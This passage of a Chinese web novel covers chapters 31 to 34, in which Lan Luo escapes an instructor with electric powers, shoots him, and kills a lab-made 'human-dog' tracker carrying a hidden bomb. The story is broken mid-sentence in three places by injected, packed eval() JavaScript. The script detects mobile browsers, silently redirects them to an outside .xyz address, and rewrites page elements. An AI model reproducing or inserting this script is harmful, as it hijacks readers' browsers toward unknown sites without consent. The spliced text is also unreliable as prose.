“反正你本来就要把我拎出来杀,死在你手里和死在他的手里,也没什么差别。” 他的声音不大,又混在风里,要不是兰落现在听力超群,都听不清他在说什么。 “少废话,你又不是什么香饽饽,扔了你他就不追我了?” 兰落嗤笑一声,又提了一点速度,将体能飙升到极限。 她又不是没想过把楚知丢下,只是对比了一下肃哥和她的速度,觉得就算扔了楚知,也不一定能甩开他。 不如拎着跑,还能把他当成后视镜用。 “小心,他把手伸到口袋里了,肯定要拿武器了。” 楚知揪着自己的衣领,艰难提醒她。 兰落刚准备侧头去看,胸口就传来一阵尖锐的疼痛,痛得她两眼一黑。 她的脚步被迫停顿了一瞬间,兰落捂住心脏,顾不上疼痛,立刻调整脚步继续往前跑。 兰落能感受到自己的两颗心脏正紧紧纠缠在一起,勒得她连呼吸都开始受阻。 她咬着下唇,尽量忽视这些感觉,偏头去看穷追不舍的肃哥。 他把刀插回了大腿,现在手里正拿着一个细长的东西。 “是麻醉枪。” 楚知眼神死死盯着肃哥手里的东西。 兰落没见过,但是大致猜出来了,手臂一甩把楚知甩在自己背上,换成背着他的姿势:“借你后背挡挡。” 她不确定自己现在的状态能不能自愈,如果不能,麻醉一旦打在她身上,他们都要完蛋。 不如让楚知来扛,他不用跑路,被麻醉了也就睡一觉而已。 楚知没说话,把头扭在身后观察肃哥。 “他开始瞄准了。” 楚知小声说,语气里没多少害怕。 果然是实验室出来的,见过世面,被人拿着枪追都不发虚。 兰落挺佩服他的心态,但她全身心都在前方的路上,没办法回头看,只能暂时相信楚知的眼睛,在森林里绕着s形跑,尽量防止被瞄准。 兰落耳边除了风声,还有细微的金属碰撞声,应该是肃哥要动手了。 她抓住一根藤蔓,跃到树上,用繁茂的枝叶遮挡自己。 “现在呢?” 兰落后背发凉,还是忍不住,抽空回头看了一眼。 她的余光里出现了一支细长的针管,顶上的针头银光闪烁,直直朝着他们飞来。 兰落急得“啧”了一声,脚尖一转,朝右边飞扑过去,想要避开这支麻醉。 但肃哥和他们的距离本来就不远,麻醉枪的速度又太快,就算兰落速度再快,也来不及躲了。 麻醉枪是直冲着兰落的脖颈来的,肃哥的目标很明确,是要破坏他们的行动力。 兰落还没来得及反应,两只手就摁在了她的脖子上,把她的脖子牢牢圈住。 楚知突如其来的举动吓了兰落一跳,她一个条件反射,差点把他扔下去。 回过神来,麻醉已经近在眼前,肃哥也正在低头往枪里装新的麻醉。 “噗嗤”一声轻响,小小的麻醉枪扎在了楚知举起的手臂上,尾端在空气中摇摆。 兰落松了一口气——幸好没扎到她。 31. 吐血 气氛有短暂的凝固,兰落用余光瞄了眼楚知,怕他从自己身上掉下去。 “嘿嘿,”楚知两只眼睛滴溜溜,丝毫没有被麻醉的迹象,“没晕。” 他还真是蟑螂一样的生命力。 兰落没时间继续慰问楚知,把他往上提了提就继续往前跑。 肃哥正忙着装新药,速度暂时落后了他们一点,她要把握这一点点的优势,尽快甩开他。 其实在他掏出麻醉枪之后,兰落就有了放弃逃跑直接干架的念头,但这两颗心脏实在是不定时炸弹,万一打到一半疼晕了,就是白送人头得不偿失。 楚知自己拔出了扎在肉里的麻醉剂,把空壳朝后一扔,泄愤一样砸在肃哥面前。 肃哥脑袋一偏,躲开了麻醉剂:“皮糙肉厚,麻醉都打不透你。” 楚知哼笑一声,没反驳。 兰落知道他不可能没被麻醉打透,她是亲眼看到麻醉剂深深扎进他的肉里。 “你为什么没事?”她问。 楚知声音很小:“因为他们用的是劣质品,看他那么不熟练的样子,估计八百年没用过,说不定都已经过期了。” 兰落将信将疑,也不打算深究。 他能免疫最好,这样她就能让他多挡几支麻醉剂了。 这话她没说给楚知听,只是继续闷头跑,减少了回头看的次数,把重心放在速度上。 肃哥已经落后他们一大截,想要追上来也不是件容易的事情。 他手里应该只有一把匕首和一支麻醉枪,武器的威胁性不是很大,要论起来兰落手里的武器反而更先进一点,毕竟她还有枪。 但这里离小息城还是太近了,她怕开枪会引来其他人,再加上子弹已经所剩无几,瞄不准的话就太浪费了。 先跑吧,把肃哥的体力消耗掉再动手。 兰落现在有不死异能在身,虽然还没有完全融合,但身体素质已经高出正常人很多,完全具备溜肃哥体力的资本。 身后传来“噗嗤”一声,兰落没回头,知道这是麻醉剂扎进皮肤的声音。 “能撑住吗?” 她一边跑一边问楚知。 撑不住就把他扔了算了。 楚知声音发飘:“能,不用管我。” “我在基地待了那么多年可不是白待的,他们给我注射过很多次麻醉,我对这玩意早就有抗性了。” “是吗,我跑得快,没尝过麻醉的滋味。”兰落随口回答。 其实并不是因为她逃出实验室比较快,而是实验室压根没打算对她使用麻醉,对他们来说,不痛的异能就是天然的麻醉了。 楚知在她背上摇摇晃晃的:“你是不是,打不过他?” “你行你上。”兰落皱眉。 楚知“嘿嘿”两声,不说话了。 “喂!别跑了!”肃哥在身后大喊,“老实停下来,你的同伴已经中了强力麻醉剂,再来一针可就没命了!” 说得好听,那他倒是别追啊。 兰落没理他,她也知道人体能承受的麻醉剂量有限,楚知已经挨了两针,不一定还能承受第三针。 “没事的,别听他的。”楚知摇头。 兰落本来也没听肃哥的,楚知的命对她来说根本不算什么。 刚刚跑到一半,她甚至突然思索了一下自己为什么一直背着他,而不是就地扔下去。 楚知说完那句话就没了反应,垂着脑袋被颠来颠去。 兰落回头看他:“喂?死了?” 楚知还是没反应。 “真死了?那我扔了啊。” 她语气里甚至有一丝如释重负,说完就准备松手。 松开楚知的前一秒,他“哇”的一声吐了一大口血,温热的血全部流到了兰落的肩膀上,把她本来就不太干净的衣服吐得更脏了。 兰落嫌弃地偏了偏脑袋:“就不能对着后面那家伙吐吗!” “你,看到前面的树了吗?”楚知不答反问。 前面到处都是树,兰落眯着眼睛:“哪棵?” 她看着楚知的状态也明白了,他刚刚肯定是偷偷发动了预知能力,但他预知到的东西都是随机刷新出来的,对现在不一定有帮助。 楚知吸了几口气,哑着嗓子解释:“最前面,黄叶子那棵树,树上有条大蛇。” “你就把他……引到那里去吧。” “然后呢?”兰落觉得可行性不高,肃哥又不是真吃素的,怎么可能连条蛇都躲不开。 “然后,”楚知又吸了吸气,似乎呼吸很困难,“然后把我扔了。” “我这次,好像真的……” 楚知说到一半就两眼一翻晕了过去。 他一直都很虚弱的样子,兰落分不清他这次到底死不死,但既然本尊都开口了,她当然要听他的意见,把他扔下去。 兰落计算了一下位置,他们离那棵黄叶子树已经很近了,如果她现在把楚知扔过去,角度好的话就能把肃哥逼到树上。 至于他会不会被蛇咬,就看运气了。 说干就干,兰落把楚知从背上抖下来,双手抓着他后背的衣服,单脚勾住旁边的树枝,扭腰回身,用力一甩! 楚知脸色苍白,闭着眼睛没有反应,像一块烂抹布,在空中翻滚几圈,张开怀抱对着肃哥扑过去。 肃哥早就把墨镜收了起来,见状瞪着一双眼睛,嘴里嘟嘟囔囔的:“不是,就这么扔……” 他一边震惊一边躲,不让楚知这个人肉投石器碰到自己。 兰落计算过角度,肃哥如果想避开楚知,就不得不借力,她特意越过了黄叶子树,就是为了让肃哥借这棵树的力。 慌乱之下,也许他就不会注意到树上的蛇。 兰落故意不看那棵树,让它淹没在众多树之间,防止提高肃哥的警惕性。 她面朝着肃哥,脚踩树枝往后退,渐渐拉开了他们二人的距离。 肃哥闪身躲过楚知,但是也失去了重心,左右看了看,攀到了一棵小树上。 楚知砸在另一棵树上,把叶子震掉了不少,然后顺着树干一路翻滚,面朝下落在地上,一看就撞得不轻。 但他没有任何反应,像死了一样。 兰落不确定楚知是不是真的死了,他每次都一副濒死的样子,最后又都能活蹦乱跳的。 “还以为你们感情多好,原来就等着把他熬死,你一走了之。” “果然是上不得台面,让同伴挡枪,又把死去的同伴随手扔掉,要是我的学生这样做,我早就一枪崩了他们!” 肃哥挂在树上,喘着粗气批评兰落。 兰落笑得毫无歉疚:“你最上得了台面了,放任学生欺凌弱小,又转头对着我夸夸其谈,真把全世界都当成你的下位者了。” “不好意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893669|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不是你的学生,你也没有枪能崩了我。” 兰落摸了摸腰间,有枪的其实是她。 肃哥顶了顶腮帮子:“什么欺凌弱小?” 兰落没跟他解释,转身就跑,故意把速度放慢了一点,吊着他来追自己。 她虽然心脏时不时就闹腾一下,但体力还很好,肃哥虽然看上去游刃有余,但从他不停攀着树枝的动作和微喘的状态就能看出他的体力已经跟不上了。 要是他继续追,就一定会攀到那棵黄叶子树。 兰落没跑几步就转身,继续面朝着肃哥倒着跑,脸上都是挑衅。 肃哥压低眉头,一脸怒容,把空了的麻醉枪塞进口袋,双脚用力向后蹬,把自己往前送。 他用的力气很大,脚下的树枝都发出了断裂声,在他的身后缓慢断裂坠地,激起一地灰尘。 兰落盯着他在灰尘里的影子,肃哥果然朝着黄叶子树去了。 她刚刚就发现了树上的蛇,枯黄的蛇神几乎和整棵树融为一体,盘在树上一动不动,一双芝麻眼却很警惕,一直盯着他们两个。 咬他,咬他一口,一定要咬他一口啊。 兰落一边偷偷给这条丑蛇加油,一边小步小步往后退。 她在观望,如果肃哥被蛇咬了,她就在这里干掉他,如果没被咬,她就立马加速逃跑。 捂着怦怦乱跳的心脏,兰落抑制住呕吐的欲望,小心观察着肃哥的动作。 林子里很安静,兰落耳力好,甚至能听到远处有动物的喘息声,但是听起来体型似乎不大,不然楚知可能危险了。 这不知名动物的声音有些远,兰落顾及不上,把全身心都放在了肃哥身上。 肃哥已经拽住了黄叶子树的树枝,身子前后荡了两下,就把自己荡到了树干上。 丑蛇的蛇头竖起来,一颤一颤的在肃哥身侧吐信子。 肃哥看起来并没有发现它的存在,正在低头拔匕首。 兰落心脏跳得更猛了,眼睛牢牢锁住他。 不到一眨眼的时间,蛇头瞬间暴起,抖动着咬上肃哥的小腿! “噼啪——” 蓝光一闪,枯黄的蛇啪嗒一声断成两截,蛇头张着嘴掉在地上,红白的横截面还在抽搐着蠕动。 漫天的灰尘里,光洁的匕首上闪着银蓝的电光,滋滋啦啦低鸣着破开层层枝叶,直冲兰落的脖颈。 “我不过是对你们手下留情,你就真以为我没本事了吗?” 肃哥手握匕首,浑身萦绕着劈啪作响的电流: “你是不是忘了,这个世界上还有异能的存在!” 兰落虽然能看清他的动作,但已经来不及躲避,立刻掏出西瓜刀握在右手,迎着带电的匕首直直劈过去。 “铛——!” 两把刀撞在一起的瞬间,肃哥匕首上跳动的闪电就立马蔓延到了兰落的西瓜刀上,和匕首闪得不分你我。 刀上的电流不强烈,兰落只是手臂震得有些发麻,电流一下一下轻刺着她的右手。 她第一次被电,不习惯这种细密的痛,尽量忽视它,手腕用力下压。 兰落的力气提升了很多,和肃哥对在一起,能直接压得他匕首抬不起来,连脚步都往后滑了一点。 “你是不是也忘了,这个世界上,还有枪的存在。” 兰落突然微笑了一下,左手的枪顶在肃哥肚子上。 32. 电流 兰落右手持刀,左手持枪,脸上的笑淡了下去:“自己出门不带枪,就以为全世界都没枪了。” 肃哥眼睛瞪大:“什……” 兰落没给他反应的机会,怼着他的腹部立马开了一枪。 她刚刚一直没把枪拿出来,只不过是怕枪声引来其他人,现在肃哥已经被引得足够远,不怕被人听到,所以兰落才会把枪拿出来。 肃哥太轻敌了,以为她手里只有那把西瓜刀,这下挨枪子儿了就老实了吧。 肃哥看到枪的一瞬间就开始闪躲,但兰落出枪速度太快,他们的距离又太近,想要人肉躲枪几乎不可能。 小巧但极具杀伤力的子弹擦着肃哥的侧腰,在他的腹部左侧开了个洞,鲜血顿时冒了出来,把他深色的制服染出一片暗色。 肃哥捂住伤口,指缝里都是血:“这枪不普通,你从哪里弄来的?” 兰落当然知道这枪不普通,陆观贴身的东西,怎么可能普通。 “关你屁事。” 兰落瞄准肃哥,预备开第二枪。 枪里应该还剩三到四发子弹,她必须在三枪之内解决肃哥,就算解决不了,也起码要让他失去行动力才行。 她的心脏越来越痛,两颗扑腾的死玩意像麻花一样彼此缠绕着,半点没顾及她这个主人的死活。 兰落现在的淡定都是强撑的,实际上她的后背已经冒出了好几层冷汗,额头也有细密的汗珠不停落下。 人生中第一次感受痛感,就是如此强烈的心脏疼痛,兰落都快被自己的运气折服了。 肃哥“嗤”了一声,站在离她几步远的树后,用树干遮挡自己:“看你年纪那么小,做事却当面一套背后一套,说不定是从劳改所逃出来的逃犯!” “你刚才钻狗洞的时候还很听话呢,果然一处在上风就暴露了你的嘴脸!” 兰落知道他在激怒自己,想要套话。 不知道是他个人如此,还是军校的人确实都很天真,肃哥的套话实在太拙劣了。 就好像,他很不屑于屈尊套她这种小人物的话一样。 “我的嘴脸你既然见识过了,就别再用你们光明正直的价值观来评判我。” 兰落一边回答,一边听着肃哥那里传来的电流滋啦声。 不能掉以轻心,她只是因为肃哥的轻敌占了先机,他现在知道了她手里有枪,肯定不会再贸然上前,只会找机会发动异能来对付她。 以及,兰落要避免肃哥向军校求救。 “怎么,中枪了还不放弃?军校真应该给你发个荣誉证书,”兰落微微屈膝,“证书上就写,军校老师被歹徒围追,身负枪伤英勇斗争,宁死不求援,特此嘉奖!” 肃哥压着怒火的声音传出来:“一个黄毛丫头,不要口出狂言!你这样的,我一个人就能解决,用不着对学校报备!” 话音落地,蓝光闪烁的人影就以极快的速度从树后冲了出来,匕首上充满了劈啪作响的电流。 兰落一直在观察肃哥,从始至终,他的雷电系异能都只会传导在匕首上或者人体上,不会单独发作。 正常的雷电系异能者,都是直接劈出雷电来攻击对手,这么看的话,肃哥也许相比起异能,更擅长近身格斗,所以把异能作为了辅助的工具。 雷电缠身,既能阻止敌人近身,又能把自己的攻击力提高一个档次。 尤其是在面对兰落这种身形灵活速度快的敌人时,劈出的雷电很容易被躲开,最好的办法就是近她的身,控制住她的行动。 兰落在心里点评了一下,这个肃哥不愧是正儿八经军校出来的。 但,这种方式,对她没用。 兰落猛一蹬地,跳起来,握着西瓜刀从高处用力刺下。 金属碰撞出叮当声,西瓜刀和匕首相接的地方甚至冒出了火星子。 兰落的西瓜刀质量终究是不如军校特质匕首,刀刃已经出现了一条细小的裂缝。 细小的电花像蛇一样缠绕到西瓜刀上,一路向前钻进兰落的皮肤,劈啪作响。 “你真的没有求援吗?” 她好像感受不到疼痛,甚至有功夫追问肃哥:“是不想求援,还是你求不了援?” “是不是太轻敌了,出门根本没带通讯器?” “或者说,你的人缘太差了,就算收到了求援,也没人愿意来救你?” “哦对,有可能,毕竟谁会那么倒霉,一抽就抽中了短签,说不定是你的同事们联合起来骗你呢,冤大头。” 兰落被电了几下,情绪也开始翻涌,越说越兴奋,甚至把肃哥抽签的事都拎出来嘲讽。 她一直都这样,越受伤越暴躁,或者说越受伤越兴奋。 电流电得兰落半边身子都麻了,但她惊奇得发现,两颗心脏竟然在这种时候安静了下来,不再互相折腾,安安静静地待在她的胸腔里。 电老实了? 兰落挑眉,继续激怒肃哥:“试试吧,要不要试着联络一下你的同事们,看看你在腐蚀雨里辛苦巡逻的时候他们在哪里偷懒耍滑?” “或者干脆把你的学生们叫来吧,让他们看看自己的老师是怎么被一个黄毛丫头压着打的,让他们体验一下拯救老师的成就感。” 兰落一边说一边用力把西瓜刀往下压,锋利的刀尖几乎已经抵在了肃哥的脖子上。 肃哥脑袋后仰,费力地顶住刀,腹部的伤口因为用力继续往外渗血,像一口咕嘟冒泡的红色温泉。 “你、你真是……” 肃哥瞳孔快冒火,眼白上爬满了红血丝:“你真是一点脸都不要!” 他怒喝一声,手腕用力,匕首上的电流瞬间暴涨,即使在白天也显得刺眼夺目,滋滋啦啦着缠绕在兰落的手臂上。 “咔啦——” 西瓜刀承受不住这种压力,发出不堪重负的断裂声。 裂痕顺着刀刃上的缺口一路延伸,在肃哥的第二声怒吼中迅速断裂成两半,啪嗒一声掉在地上。 兰落见状,立刻松开手里仅剩一半的西瓜刀,向后一翻与肃哥拉开距离。 闪亮的银蓝色电流依旧缠绕在她的手臂上,兰落试着活动了一下右臂,麻木没有知觉。 心脏像是意识到了兰落的处境,电流越强它们越安静,老老实实的不敢给她添堵。 “我想起来了,”肃哥捂着肚子,咬牙切齿,“我想起来你是谁了。” 兰落心里一跳,军校里有她的通缉令? 从老头那她就知道自己肯定被通缉了,只是一直不知道通缉的范围有多大。 实验室也不是什么正规合法的场所,所以兰落从不觉得他们敢光明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898619|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正大通缉自己,肯定只会在灰色地带张贴通缉令。 如果肃哥都知道了她的通缉,那他今天必须在这里死得透透的。 连说遗言的机会都不能有。 “你说说我是谁?”她举枪。 肃哥扶着树:“我一直都觉得你哪里有些熟悉,刚刚我才想起来,上次夜间巡逻,你伪装成了军校学生,在我这里蒙混过关。” “要不是那次我急着确认学生安全,你早就暴露了,暴露在小息城内部,你插翅也难飞。” “事后诸葛亮。” 兰落言简意赅地下了结论,对这个话题没有兴趣。 说什么急着确认学生安全,分明就是急着保护他们的宝贝疙瘩兰升。 “哈,”肃哥唇色发白,腹部已经被血染湿了一大块,“但你现在也别想逃了,你手臂上的电团,是我专门训练的。在你右手报废以前,它是绝对不会停止的,你只能等着自己的右手被电到麻木,电到报废!” 兰落举起自己的右手看了看,整条手臂都闪着电光,完全是走夜路的一双好手。 “你确定?” 她翻来覆去端详着自己的右手,丝毫不着急。 “咳咳……拭目以待!”肃哥咳了两声,咳出一口血,抹了抹嘴说。 兰落不想跟他拭目以待,浪费时间。 她把枪拿在左手,对准了不远处的肃哥,毫不犹豫扣下扳机。 “砰!” 子弹嵌入树干,肃哥拖着受伤的身体在地上滚了两圈,躲开了这发子弹。 他灰头土脸的,浑身都是杂草和枯叶,鼻孔看人高高在上的样子也没了,捂着伤口在地上狼狈拖行。 兰落站在树上,俯视他毫无尊严的样子,然后抬手,又开一枪。 这颗子弹精准地打进了他的大腿,肃哥闷哼一声,死死抓住自己大腿的伤口,在地上艰难挪动。 和兰升一样的位置。 盯着肃哥大腿上的伤口,兰落没由来的想到了兰升。 如果他当时是清醒的,是不是也会像肃哥一样在地上狼狈不堪地爬行? 兰落发现自己想象不出来兰升爬行的样子,他从小到大都是精致的、温和的、完美的,似乎从来不会狼狈。 除了掏出心脏之后被她甩进帐篷时的样子。 兰落回神,再次举枪对准肃哥。 她看过了,枪里还有两发子弹,可以全都送给他。 肃哥面朝着兰落,一下一下往后挪。 他的伤口上黏着尘土和枯叶,要多狼狈有多狼狈,表情却不变,保持着怒火中烧的严肃和不屈。 兰落刚准备开枪,耳边突然传来低沉的喘气声。 像野兽,又没那么粗重,听起来很远,好像是之前就听到过的声音。 肃哥的表情突然变了,瞪着眼睛,一脸不可思议地看向兰落的后方。 兰落脖子发凉,瞬间反应过来什么,立刻转身,向侧面躲。 “嗬——嗬——嗬——” 奇怪的喘息声以难以想象的速度在靠近! 下一秒,兰落原本站立的树枝被砸了个稀巴烂,木屑和灰尘四起。 兰落连连后退好几步,眯着眼睛观察。 她在灰尘里看见了一个四肢着地,长着獠牙流口水的……人? 33. 人犬 兰落双脚踩在一棵大树上,一手抓住头顶的树枝,另一手紧紧握着枪。 她在观察这个突然冒出来的似人非人的东西。 地上满身是血的肃哥靠在一块树根上,捂着腹部的伤口呼吸急促:“你、你到底什么来头?” “你认识这个……东西?” 兰落没有回答,反问他。 她本来想说“这个人”,但左看右看,这东西实在不像人,反而更像野兽。 兰落之前就听见过它沉沉的喘息声,但那时候他们离得远,她还以为真的只是森林里的小型动物,压根没放在心上。 这东西张着大嘴,和人一样的嘴里却伸出了几根发黄的獠牙,口水拉成一条线,顺着牙缝滴在地上。 它压低脊背,发红的眼珠子牢牢锁住兰落。 肃哥一脸警惕地看着它,语气带着试探:“这是灰色地带最爱培育的一种追踪工具。” 追踪工具? 兰落看着这东西目不转睛盯着自己的样子,心里有了猜测。 长得奇形怪状,又盯着她不放,用脚指头想想都知道是实验室弄出来的东西。 兰落也想过自己会被找到,但没想到是以这种方式被基地发现。 “所以,你真是逃犯吧。” 肃哥颤颤巍巍站起来,拖着受伤的大腿:“被人犬找到,你就退无可退了。” “它们会牢牢跟着你,还会把你的踪迹传给主人,直到它彻底死去。” 人犬,好恶心的名字。 兰落垂眸观察蓄势待发的人犬,人就是人,犬就是犬,世界上怎么会有人犬这种东西? 她目光微动,刚和人犬对上视线,它就像捕捉到了战斗信号似的,龇牙咧嘴地扑了上来。 兰落左手一直抓着树枝,见状手臂用力,一个挺腰就把自己送上了更高一些的树上,堪堪与人犬擦身而过。 人犬站稳后,两爪同时用力,它脚下的树枝顿时碎成了渣,落了满头满脸。 它的头发很乱,已经团成了脏兮兮的结,木头渣在空中打转又掉进它的头发,晃晃荡荡的挂在上面。 人犬却毫不在意,仰着脑袋咧着嘴,对着高处的兰落发出“嗬嗬”的声音。 兰落并不怕它,这东西虽然长得丑,但智力似乎不高,只会凭本能攻击,威胁性还不如军校的废物五人组高。 她只在意人犬是怎么找到她的。 一只人犬好解决,但如果是无数只人犬时时刻刻追着她,烦也要把人烦死。 这种低智力的东西,通常都是成群结队的。 “你对人犬了解多少?”兰落扭腰避开人犬第二次攻击,冷静问肃哥。 肃哥趁她被人犬绊住脚步,一点一点往后退:“不了解,这种东西太见不得光,一般人根本接触不到。” “反思反思你自己吧,到底为什么会被人犬盯上。” 兰落没有理会他的废话,蹲在树上,转头试着和人犬沟通: “喂!能听懂人话吗?你们有多少人在找我?” 人犬鼻子抽了抽,喉咙里发出断断续续的嗬嗬声,压低身子,准备继续攻击她。 “别费劲了,”肃哥已经拖着伤腿越退越远,满脸不屑,“它听不懂人话,只会按照主人的命令行动。” “人犬早就不是人了,只是一具行尸走肉。” 肃哥脸上的不屑渐渐转化成严肃,望向人犬的眼神格外复杂。 兰落也只是试试而已,没指望人犬真的能和自己交流。 “少操心别人,”她擦了擦枪,重新抬起来对准肃哥,“多担心担心自己吧。” 肃哥视线上抬,盯着她手里的枪,脸上的表情变了又变:“还以为你会急着对付人犬。” “反正它会一直跟着我,什么时候杀都来得及。但你就不一样了,不赶紧弄死,就没机会了。” 兰落说完,对准肃哥就是一枪。 人犬从刚刚起就很激动,口水都分泌得多了一点,爪子刨着树根,一脸蠢蠢欲动。 但也许是在顾虑什么,它始终没有动作,只是在原地焦躁地龇牙。 直到兰落一声枪响,子弹破膛而出。 细微的白烟从枪口冒出,随着子弹消散在兰落面前。 几乎是在扣动扳机的下一秒,人犬猛地暴起,眼珠通红,毫无预兆地冲向了兰落。 兰落的枪还没来得及放下,人犬就已经窜到了她的面前,两只锋利的爪子对着她的脖子快速劈下。 说是爪子,其实人犬的四肢都是人类的模样,只不过十根手指甲都又硬又长,像兽类一样尖锐。 被这样的爪子挠到脖子,不死也得感染。 ——它太脏了太臭了! 兰落屏住呼吸,上半身快速后仰,将身子压低避开人犬的爪子,同时把枪别回腰间,然后一手撑地,屈起膝盖朝上用力一顶! 人犬的下巴传来清脆的“咔吧”声,它的嘴唇被自己的獠牙狠狠戳破,流出粘稠的血。 它却像感受不到一样,低头就要咬兰落。 兰落翻身往下跳,脚尖勾住树枝把自己倒吊在半空中,抽出枪对着人犬,毫不犹豫地把最后一颗子弹送给了它。 扔掉彻底没有子弹的空枪,兰落抽空看了眼肃哥的位置,那里已经空空如也,只有地上一摊鲜血证明这里曾经有人。 跑得真快。 兰落心中不爽,看人犬更不顺眼了,把自己荡到人犬边上,捏紧拳头,对着它的太阳穴就是重重一拳! 刚刚那一枪打在了人犬的眉心,正常人眉心中枪早就倒了,人犬却还能抽搐着继续扑她,伸直双臂满脸血的样子看起来格外怪异。 兰落的拳头也毫不留情,人犬的太阳穴瞬间扁了一块,动作间她甚至隐隐听见了骨头破裂的轻响。 兰落站得笔直,右手指关节通红,手背上沾着血渍。 血是人犬的,她没有受伤。 人犬身形扭曲,睁着眼睛侧躺在地上,双腿胡乱蹬地,胸口剧烈起伏,嘴边溢出血丝。 兰落站在高处,冷眼看着他挣扎没多久就蜷缩在地上,失去了生息。 她呼出一口气,观察了一下自己,才后知后觉地发现右臂似乎完好如初。 肃哥刚刚电了她的右手,当时她的整条右臂都有些麻木,他还大言不惭地说她的右手会废掉。 兰落活动了一下,右手分明屁事没有。 她知道这是不死之力在默默发挥作用,她的两颗心脏已经安分了很久,至少在刚刚的打斗过程中没给她拖后腿。 之后会不会继续疼,兰落也不敢确定。 事已至此,走一步看一步吧。 肃哥跑了,不知道会不会回去搬救兵,她要先离开这里。 袭击军校教师的罪名,足以让她在明面上被通缉了。 还有人犬,这东西虽然好解决,但兰落对它一无所知,不知道它会通过什么途径将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906221|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行踪上报给基地,也不知道基地到底派出了多少人犬。 兰落跳到死去的人犬旁边,捡起一根树枝在它身上戳来戳去。 人犬的衣服非常破旧,浑身上下也没有摄像头或者定位仪的痕迹。 兰落一边思索,一边在它眉心的枪洞上戳了几下,树枝却戳到一块坚硬的东西。 骨头? 不,不像。 兰落直觉这不是骨头,扔了树枝,从地上捡起断了的西瓜刀,用断刀挖它的伤口。 一小块黑色金属在伤口里露出一点边角,兰落徒手把它扣出来,在人犬身上嫌弃地擦了一下,这才凑近仔细端详。 一枚闪着红光的黑色金属方块,很有实验室的风格,但她看不懂。 兰落把人犬的尸体一脚踢进茂盛的草丛里,甩甩手在周围翻找着。 肃哥的匕首应该是扔在了这周围,她的西瓜刀没了,刚好可以捡他的匕首用一阵。 想到肃哥,兰落心中就是一阵烦躁。 这人竟然留有后手,在身上藏了空间胶囊。 空间胶囊和兰升之前用的水胶囊是一个道理,相当于一次性异能。 只不过空间胶囊不仅价格昂贵,只能用一次,而且连接的空间有限,还容易出现传送失误,所以市面上用的人非常少。 有其师必有其徒,从兰升用水胶囊的时候她就该想到了这回事了。 兰落懊悔着在树上晃悠,动作悠闲,但速度并不慢,稳稳朝着林子外走去。 但是,兰落停下脚步—— 总感觉忘记了什么。 心脏到手了,也没有在兰升的制服上留下异能印记,肃哥跑了,人犬死了,还有什么呢? 好像还有什么来着? 兰落左思右想,摸了摸自己的脖子,一脸茫然地活动了一下肩颈。 脖子? ——想起来了! 兰落一拍脑袋,换了个方向一路疾奔。 她还要去看看楚知死没死呢! 差点把他忘了! 兰落在树上搜寻着楚知的踪迹,如果人犬是追着他们来的,那没道理放过楚知,说不定他已经被咬死了。 但事实好像并非如此。 兰落看着草丛里生无可恋睁着眼睛数叶子的楚知,仔细观察了一下—— 没受伤,没缺胳膊少腿。 人犬为什么不追他? 跳到楚知三步开外的地方,兰落一落地就直接问道:“你见到人犬了吗?” 楚知被她吓了一大跳,浑身一哆嗦,歪着脑袋费劲看她,眉心紧紧皱着:“什么意思?你遇到人犬了?” “嗯,这是从它脑子里挖出来的,”兰落把金属方块扔到他脑袋旁边,“你对人犬了解多少?” “人犬是基地养来追踪的,作用跟猎犬差不多。” 楚知有气无力地说完,偏过脑袋看了眼地上的金属方块。 看到方块的一瞬间,他半死不活的脸突然变得五彩缤纷:“你怎么把这个拿来了?!” 兰落双手抱胸:“这是什么?” 楚知翻身趴在地上,连爬两步捡起方块,抡圆了胳膊扔掉方块:“这是炸弹!” “就算想弄死我,你也好歹给我留个全尸吧!” 兰落动都没动,倚着树看方块在落地的一瞬间轰然炸开,直径一米的草都被炸了个干净,留下一个黑色大坑。 效果不错,瘫子都差点跑起来了。 34. 痛快 “说说吧,你对人犬了解多少。” 兰落看着趴在地上大喘气的楚知问。 这炸弹虽然威力不小,但声音不大,炸起来并不太引人注目,倒也不怕被人发现。 楚知正了正神色:“人犬最初只是嫁接失败的实验体,基地发现它们攻击性强又没有神智,所以就开始特意培育人犬,用来做野外追踪。” “可是,”兰落不解,“为什么不用无人机或者其他机器,人犬效率又不高,战斗力也差。” 她都离开实验室这么久了,人犬到现在才找到自己,又这么轻易被打死,完全看不出它存在的必要性。 “因为便宜。” 楚知躺在地上,唇色白得可怕:“野外没有遮蔽的地方,机器遇到腐蚀雨容易出问题,一旦出了问题就很难再返回修理。” “但人犬就不一样了,它们本来就是废弃的实验体,变成人犬后不怕雨也不怕受伤,可以没日没夜地在野外工作,即使死了,也不过是消耗了几个实验体而已。” 兰落点点头,明白了他的意思。 